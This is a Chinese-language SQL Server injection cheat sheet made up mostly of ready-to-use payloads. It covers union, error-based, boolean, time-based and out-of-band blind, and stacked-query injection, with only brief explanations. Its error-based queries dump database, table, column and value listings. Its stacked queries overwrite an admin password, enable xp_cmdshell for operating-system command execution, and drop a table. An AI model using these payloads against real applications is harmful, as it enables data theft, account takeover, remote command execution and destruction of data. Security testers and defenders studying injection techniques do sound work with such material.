SQL Server 注入类型

联合注入

利用SQL Server数据库的union运算符,将多个查询结果合并为一个结果集,并通过控制显示的列来获取敏感数据或执行恶意语句的SQL注入攻击

SELECT user UNION SELECT @@version
SELECT user UNION (SELECT @@version)
SELECT user,system_user UNION (SELECT @@version,null)
SELECT * FROM yourtable ORDER BY [numberOfColumns]
SELECT @@version; SELECT @@version --

报错注入

攻击者可以通过输入特殊的字符或语句,来触发SQL Server数据库的错误信息,从而获取数据库的版本、结构、内容等信息,或者执行恶意的语句,如删除表、插入记录等。

显式转换:

SELECT convert(int,(SELECT @@version))
SELECT cast((SELECT @@version) as int)

隐式转换:

SELECT 1/@@version

查询示例(cast都可以使用convert替换):

描述 查询语句
注入到当前查询中
SELECT CAST(@@version as int)
显示系统用户
SELECT CAST(SYSTEM_USER as int);
使用 xml 路径在一行中显示所有数据库
SELECT CAST((SELECT name,',' FROM master..sysdatabases FOR XML path('')) as int) SELECT CAST((SELECT name AS "data()" FROM master..sysdatabases FOR xml path('')) AS int);
显示服务器名称
SELECT CAST(@@SERVERNAME as int);
显示服务名称
SELECT CAST(@@SERVICENAME as int);
显示数据库(在同一行中执行)
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = ''; SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases; SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
列出表(在同一行中执行)
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX); SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..sysobjects WHERE type = 'U'; SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
显示列(在同一行中执行)
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = ''; SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..syscolumns WHERE id=object_id('MYTABLE'); SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);select cast(@myoutput as int);
显示列值(在同一行中执行,将 MYCOLUMN 替换为 * 以选择所有列)
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = ''; SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..syscolumns WHERE id=object_id('MYTABLE'); SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);select cast(@myoutput as int);
一次显示一个库名(增加TOP值可以获取下一条)
SELECT TOP 1 CAST(name as int) FROM sysdatabases WHERE name in (SELECT TOP 2 name FROM sysdatabases ORDER BY name ASC) ORDER BY name DESC

盲注

SQL Server盲注分为三种类型:

  • 布尔盲注
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
  • 时间盲注
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
IF exists(*PARTIAL_BLIND_QUERY*) WAITFOR DELAY '00:00:02
  • OOB盲注

这种盲注是通过利用SQL Server的一些扩展存储过程,如xp_subdirs,xp_dirtree,xp_fileexist等,来创建DNS查询或读取SMB共享域名,从而将数据传输到攻击者的服务器。这种盲注的条件比较苛刻,需要能够堆叠语句,且当前用户必须是sa。

堆叠查询

-- multiple SELECT statements
SELECT 'A'SELECT 'B'SELECT 'C'

-- updating password with a stacked query
SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--

-- using the stacked query to enable xp_cmdshell
-- you won't have the output of the query, redirect it to a file 
SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

ProductID=1; DROP members--